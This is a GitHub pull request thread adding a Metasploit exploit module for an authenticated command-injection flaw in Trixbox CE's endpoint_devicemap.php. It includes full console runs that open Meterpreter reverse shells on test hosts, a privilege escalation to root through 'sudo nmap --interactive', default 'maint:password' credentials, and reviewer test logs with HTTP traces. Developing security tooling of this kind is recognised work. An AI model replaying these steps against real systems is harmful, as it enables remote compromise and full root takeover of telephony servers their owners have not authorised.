New issue

Jump to bottom

Trixbox CE v2.8.0.4 endpoint_devicemap.php Authenticated Remote Command Execution #13353

Merged gwillcox-r7 merged 1 commit into rapid7:master from stasinopoulos:patch-1 on May 4, 2020

stasinopoulos commented on Apr 28, 2020 • edited Contributor

This module exploits an authenticated OS command injection vulnerability found in TrixBox CE version 1.2.0 to 2.8.0.4 inclusive in the `network` POST parameter of the `/maint/modules/endpointcfg/endpoint_devicemap.php` page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the `asterisk` user.

Example Usage

```
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.8
rhosts => 192.168.1.8
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options

Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  password         yes       Password to login with
   HttpUsername  maint            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.1.8      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Linux Dropper)


msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.8:80 - Authenticating using "maint:password" credentials...
[+] 192.168.1.8:80 - Authenticated successfully.
[+] 192.168.1.8:80 - Trixbox CE v2.8.0.4 identified.
[*] 192.168.1.8:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.8:38680) at 2020-05-02 03:55:24 -0400
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > sysinfo
Computer     : trixbox1.localdomain
OS           : CentOS 5.5 (Linux 2.6.18-164.11.1.el5)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > shell
Process 9259 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
```

Once a shell has been gained as the `asterisk` user, attackers can elevate their privileges to `root` by executing the following commands:

```
sudo nmap --interactive

Starting Nmap V. 4.76 ( http://nmap.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

gwillcox-r7 added the needs-docs label on Apr 28, 2020

label-actions bot commented on Apr 28, 2020

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- Writing Module Documentation
- Template
- Examples

gwillcox-r7 commented on Apr 28, 2020 — Contributor

@stasinopoulos Thank you for this submission; it looks very well done and we appreciate the level of detail put into this! Only thing I will need before I can start testing this is some additional documentation details as per the bot's instructions above. Please follow the directions in those links and make sure to pay particular attention to the instructions where it asks you to describe how you set up the environment step by step (don't just say "grab version 1.1 and then run the exploit"; we need to know how you set it up step by step) and how you obtained the vulnerable version (download site, ftp site, etc).

Thanks again and let me know if you have any questions and I'll be happy to assist!

stasinopoulos mentioned this pull request on Apr 28, 2020

Added documentation regarding Trixbox CE <= v2.8.0.4 Authenticated RCE #13354

Closed

stasinopoulos commented on Apr 28, 2020 — Contributor, Author

@gwillcox-r7 thanks for your prompt response. Kindly confirm that the provided documentation is fine.

gwillcox-r7 commented on Apr 28, 2020 • edited — Contributor

@stasinopoulos Please add your documentation as a separate commit to this branch rather than opening up a new branch. Commit to your local branch `patch-1`, then push your changes up to your fork of `metasploit-framework`.

So:

1. `git checkout patch-1`
2. `nano documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md`
3. `git add documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md`
4. Add changes at this point to the file to add documentation
5. `git commit -m "Adding in trixbox documentation"`
6. `git push origin master`

stasinopoulos commented on Apr 28, 2020 — Contributor, Author

@gwillcox-r7 Done n' sorry for the mess :P

1

gwillcox-r7 reviewed on Apr 28, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

gwillcox-r7 commented on Apr 28, 2020 — Contributor

No problem **@stasinopoulos**, all part of the learning experience :)

gwillcox-r7 removed the **needs-docs** label on Apr 28, 2020

gwillcox-r7 self-assigned this on Apr 28, 2020

adfoster-r7 added the **needs-linting** label on Apr 28, 2020

label-actions bot commented on Apr 28, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```

You can automate most of these changes with the `-a` flag:

```
rubocop -a <directory or file>
```

Please update your branch after these have been made, and reach out if you have any problems.

stasinopoulos changed the title ~~Trixbox CE <= v2.8.0.4 Authenticated RCE~~ Trixbox CE v2.8.0.4 Authenticated RCE on Apr 28, 2020

gwillcox-r7 requested changes on Apr 28, 2020

View changes

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

gwillcox-r7 commented on Apr 28, 2020 — Contributor

@stasinopoulos Please also run `rubocop -a modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` and commit and upload the changes that it makes.

stasinopoulos changed the title ~~Trixbox CE v2.8.0.4 Authenticated RCE~~ Trixbox CE v2.8.0.4 (and prior versions) Authenticated RCE on Apr 28, 2020

bcoles added the **module** label on Apr 28, 2020

bcoles reviewed on Apr 28, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

bcoles reviewed on Apr 28, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

bcoles reviewed on Apr 28, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

bcoles reviewed on Apr 28, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

stasinopoulos changed the title ~~Trixbox CE v2.8.0.4 (and prior versions) Authenticated RCE~~ Trixbox CE v2.8.0.4 endpoint_devicemap.php Authenticated Remote Command Execution on Apr 28, 2020

gwillcox-r7 requested changes on Apr 28, 2020

View changes

gwillcox-r7 left a comment — Contributor

Please incorporate **@bcoles**'s changes and add these ones in as well.

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md` Outdated — Show resolved

documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md Outdated Show resolved

documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb Outdated Show resolved

bcoles reviewed on Apr 29, 2020

View changes

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

bcoles reviewed on Apr 29, 2020

View changes

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

bcoles reviewed on Apr 29, 2020

View changes

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

bcoles removed the **needs-linting** label on Apr 29, 2020

bcoles reviewed on Apr 29, 2020

View changes

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb Outdated

```
65 +    unless res
66 +      return CheckCode::Unknown('Connection failed')
67 +    end
68 +    unless res.body.include?(fingerprint)
```

bcoles on Apr 29, 2020 Contributor

It might be a good idea to also include an authentication check, ie:

```
if res.code == 401
  return CheckCode::Unknown('Authentication Failed')
end
```

gwillcox-r7 on Apr 30, 2020 Contributor

@stasinopoulos, I'm not sure if you fixed this issue, as your current code is assuming that if the target failed to respond with a 200 OK code that authentication failed. I think what **@bcoles** is trying to say is that usually a server returns a 401 error code or something similar if you weren't able to log in successfully. So your current check might state that authentication failed when this was not the case.

Also in future can you please wait for **@bcoles** or myself to mark an issue as resolved? This will prevent any confusion as to whether or not an issue is actually complete or if it needs further work.

@bcoles Can you confirm things here are as you would like to see them?

stasinopoulos commented on Apr 29, 2020 Contributor Author

@gwillcox-r7 **@bcoles** are we ok for the merge of that module (btw thanks for your support)?

48 hidden items
Load more...

gwillcox-r7 reviewed on May 1, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated — Show resolved

gwillcox-r7 commented on May 1, 2020 — Contributor

@stasinopoulos Okay I think it is about time we did another full review of the code and the documentation. Going to get that going so long, and hopefully pick up anything else that needs to be done.

After that is done and any changes have been incorporated, should be good to test and then land if everything goes well.

👍 1

gwillcox-r7 requested changes on May 1, 2020

View changes

gwillcox-r7 left a comment — Contributor

Some more changes to go over, definitely looking a lot better though!

`documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md` Outdated — Show resolved

`documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md` Outdated — Show resolved

10 hidden conversations
Load more...

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` — Show resolved

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated — Show resolved

gwillcox-r7 reviewed on May 2, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated

```
134 +     end
135 +     version = get_target(res)
136 +     if version.nil?
137 +       return CheckCode::Safe
```

gwillcox-r7 on May 2, 2020 — Contributor

Every other case I see your outputting a line before returning a `CheckCode` code, so can we update this line to print out a message using `print_error` before we execute `return CheckCode::Safe` ?

wvu on May 2, 2020 • edited — Contributor

You can also do `CheckCode::Safe('This is the reason.')` to automatically print the reason when running `check` directly.

Note that this has output limitations in the current implementation unless the `AutoCheck` mixin is used. A print will be universal. I hope that we can streamline this developer experience in the near future.

stasinopoulos on May 3, 2020 — Contributor, Author

Updated

gwillcox-r7 on May 3, 2020 • edited — Contributor

A lot of people don't run with `datastore[VERBOSE]` set to `TRUE`, so all of these `vprint_error` or commands in the format of `vprint_XXXX` won't ever be executed unless this is set. This is not what we want, as we want the user to always recieve info about errors. Status updates, however, can be optionally displayed via `vprint_status` **if they are of extremely low value**, however, most of the time this is not the case and one should just use `print_status` as per normal.

1

gwillcox-r7 on May 3, 2020 • edited Contributor

Also for reference this is the code that will be run when you execute `vprint_error`:

```
def vprint_error(msg='')
    print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
```

Taken from lib/msf/core/module/ui/message/verbose.rb (thanks to @wvu-r7 for pointing this out to me)

1

gwillcox-r7 reviewed on May 2, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Show resolved

gwillcox-r7 reviewed on May 2, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated Show resolved

gwillcox-r7 reviewed on May 3, 2020

View changes

`modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb` Outdated Show resolved

gwillcox-r7 commented on May 3, 2020 • edited Contributor

@stasinopoulos Looks like your `check` code isn't working correctly for TrixBox CE 1.2.0:

```
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options

Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  password         yes       Password to login with
   HttpUsername  maint            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Linux Dropper)


msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set LHOST 192.168.205.1
LHOST => 192.168.205.1
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148
RHOSTS => 192.168.205.148
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set SRVHOST 192.168.205.1
SRVHOST => 192.168.205.1
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Trixbox CE v.x identified.
nil versions are discouraged and will be deprecated in Rubygems 4
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020 Contributor

@stasinopoulos TrixBox CE 2.0 seems to be timing out....are you sure you tested this on all systems?

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > ping 192.168.205.145
[*] exec: ping 192.168.205.145

PING 192.168.205.145 (192.168.205.145): 56 data bytes
64 bytes from 192.168.205.145: icmp_seq=0 ttl=64 time=0.292 ms
64 bytes from 192.168.205.145: icmp_seq=1 ttl=64 time=0.355 ms
64 bytes from 192.168.205.145: icmp_seq=2 ttl=64 time=0.255 ms
64 bytes from 192.168.205.145: icmp_seq=3 ttl=64 time=0.405 ms
64 bytes from 192.168.205.145: icmp_seq=4 ttl=64 time=0.363 ms
64 bytes from 192.168.205.145: icmp_seq=5 ttl=64 time=0.329 ms
64 bytes from 192.168.205.145: icmp_seq=6 ttl=64 time=0.426 ms
64 bytes from 192.168.205.145: icmp_seq=7 ttl=64 time=0.427 ms
64 bytes from 192.168.205.145: icmp_seq=8 ttl=64 time=0.255 ms
64 bytes from 192.168.205.145: icmp_seq=9 ttl=64 time=0.346 ms
64 bytes from 192.168.205.145: icmp_seq=10 ttl=64 time=0.598 ms
^C
--- 192.168.205.145 ping statistics ---
11 packets transmitted, 11 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.255/0.368/0.598/0.093 ms
Interrupt: use the 'exit' command to quit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > nmap -p 80 192.168.205.145
[*] exec: nmap -p 80 192.168.205.145

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 22:09 CDT
Nmap scan report for 192.168.205.145
Host is up (0.00039s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020 — Contributor

And finally latest version is also not working. I can confirm I can connect to the server via the browser fine:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options

Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  password         yes       Password to login with
   HttpUsername  maint            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.205.150  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SRVHOST       192.168.205.1    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.205.1    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Linux Dropper)


msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020 — Contributor

Weird, I wonder what was causing that, the server suddenly worked now for 2.4.2.0:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE v2.4.x identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
```

```
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 3 opened (192.168.205.1:4444 -> 192.168.205.150:60709) at 2020-05-03 22:20:11 -0500

[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=102, gid=103, euid=102, egid=103)
meterpreter > getpid
Current pid: 3545
meterpreter > getwd
/var/www/html/maint/modules/11_endpointcfg
meterpreter >
```

Will try again with TrixBox CE 1.2.0

gwillcox-r7 commented on May 3, 2020 — Contributor

@stasinopoulos Tried again after rebooting but still getting this for Trixbox CE v1.2.0. Included trace for visibility into the actual HTML it is trying to parse.

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set HttpTrace true
HttpTrace => true
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
####################
# Request:
####################
GET /maint/ HTTP/1.1
Host: 192.168.205.148
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 04 May 2020 02:23:59 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.11
Content-Length: 5552
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="content-language" content="en" />
<title>trixbox - Configuration and Administration</title>
<link href="favicon.ico" rel="SHORTCUT ICON" />
<link rel="stylesheet" type="text/css" media="all" href="include/css/styleNN.css" />
<!-- RMV: added module header -->
</head>

<body>

<table border="0" align="center" cellpadding="0" cellspacing="0" class="okvir_main">
        <tr>
                <td>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/top_tab_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/top_tab_bg.gif">
                                </td>
                                <td width="21"><img src="images/top_tab_right.gif" border="0" /></td>
                        </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" id="okvir">
                        <tr>
                                <td>
                                <table width="100%" cellspacing="0">
                                        <tr id="header">
                                                <td>
                                                <img src="images/blank.gif" width="35" height="10" /></td>
                                                <td id="headerlogo" height="65px">
                                                <a href="http://www.trixbox.org">
                                                <img src="images/logo.png" width="212" height="55" alt="trixbox" border="0" /></a></td>
                                                <td align="right" id="headerbanner">Configuration and Administration   
                                                </td>
                                            <td id="headerlogo"><img src="images/gears.png" width="64" height="64" alt="Configuration and Administration" border="0" /></td>
                                        </tr>
                                        <tr>
                                                <td colspan="4">
                                                <table cellspacing="0" cellpadding="0" width="100%" border="0">
                                                        <tr align="center">
                                                                <td width="588" bgcolor="#004081"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="index.php">MAIN</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                                <td id="headmenu">
                                                                <a class="menuHead" href="about.php">ABOUT</a></td>
                                                                <td width="1" bgcolor="#d7d7d7"></td>
                                                        </tr>
                                                </table>
                                                </td>
                                        </tr>
                                </table>
                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                        <tr>
                                                <td>
                                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                                        <tr>
                                                            <td align="left" class="vrijeme">Version: 1.2.0

                                                                 </td>
```

```
                                                        <td align="right" class="vrijeme">
                                                        <span id="clock"></span>
                                                        <script language="JavaScript" type="text/javascript" src="include/clock.js"></script>
                                                         </td>
                                                </tr>
                                        </table>
                                        </td>
                                </tr>
                        </table><!-- start left blocks -->
                <table border="0" cellpadding="0" cellspacing="0" id="glavna">
                        <tr>
                                <td id="leftcolumn">
                                <div class="blockTitle">Asterisk</div>
                                <div class="blockContent">
                                        <table cellspacing="0">
                                                <tr><td id="mainmenu">
                                                        <a class="menuTop" href="/admin" target="_blank">FreePBX</a>
                                                        <a class="menuTop" href="configedit/phpconfig.php" target="_blank">Config Edit</a>
                                                        <a class="menuTop" href="asterisk_info.php" target="_blank">Asterisk Info</a>
                                                        <a class="menuTop" href="endpointcfg.php">Endpoint Manager</a>
                                                        <a class="menuTop" href="hudadmin.php">HUD Manager</a>
                                                        <a class="menuTop" href="spwizard.php">Service Provider Wizard</a>

                                                        </td></tr>
                                        </table>
                                </div>
                                <div class="blockTitle">System</div>
                                <div class="blockContent">
                                        <table cellspacing="0">
                                                <tr><td id="mainmenu">
                                                <a class="menuTop" href="phpMyAdmin" target="_blank">phpMyAdmin</a>
                                                <a class="menuTop" href="phpsysinfo" target="_blank">System Info</a>
                                                <a class="menuTop" href="sysmaint.php">System Maint</a>
                                                <a class="menuTop" href="javassh.php">SSH Terminal</a>
                                                <a class="menuTop" href="/munin" target="_blank">Munin</a>
                                                </td></tr>
                                        </table>
                                </div>
                                <img src="images/160.gif" width="160" height="1" alt="" />
                        <br />
                        <br />
                        </td>
<!-- end left blocks -->
        <!-- Display center blocks -->
<td id="centercolumn">
 <table class="sadrzaj" cellspacing="0">
  <tr>
        <td id="centerCcolumn" >
         <table align="center" cellpadding="0" cellspacing="2">
          <tr>
           <td>
                <div class="blockTitle">Main Menu</div>
                <div class="blockContent">Welcome to trixbox
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                <br>
                </div>

           </td>
          </tr>
         </table>
        </td>
   </tr>
 </table>
</td>
<!-- End Display center blocks -->

                                        </tr>
                                        <tr>
                                                <td colspan="3">  </td>
                                        </tr>
                                </table>
                                </td>
                        </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/bot_cat_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/bot_cat_bg.gif">
                                </td>
                                <td width="21"><img src="images/bot_cat_right.gif" border="0" /></td>
                        </tr>
                </table>
                </td>
        </tr>
</table>
<table width="758" border="0" align="center" cellpadding="0" cellspacing="0" class="dole">
        <tr>
                <td>
                <div class="privatnost">
                        <br />
                        Copyright &copy 2006 by
                        <a href="http://www.trixbox.org" target="_self">trixbox.org</a>
                        <br />
                        <br />
                </div>
                </td>
```

```
        </tr>
</table>

</body>

</html>
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Trixbox CE v.x identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020 — Contributor

And here is output for TrixBox CE 1.2.3 with tracing enabled:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.146
RHOSTS => 192.168.205.146
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
####################
# Request:
####################
GET /maint/ HTTP/1.1
Host: 192.168.205.146
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 21:24:10 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.11
Content-Length: 5552
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="content-language" content="en" />
<title>trixbox - Configuration and Administration</title>
<link href="favicon.ico" rel="SHORTCUT ICON" />
<link rel="stylesheet" type="text/css" media="all" href="include/css/styleNN.css" />
<!-- RMV: added module header -->
</head>

<body>

<table border="0" align="center" cellpadding="0" cellspacing="0" class="okvir_main">
        <tr>
                <td>
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                                <td width="21"><img src="images/top_tab_left.gif" border="0" /></td>
                                <td align="middle" width="100%" background="images/top_tab_bg.gif">
                                </td>
                                <td width="21"><img src="images/top_tab_right.gif" border="0" /></td>
                        </tr>
                </table>
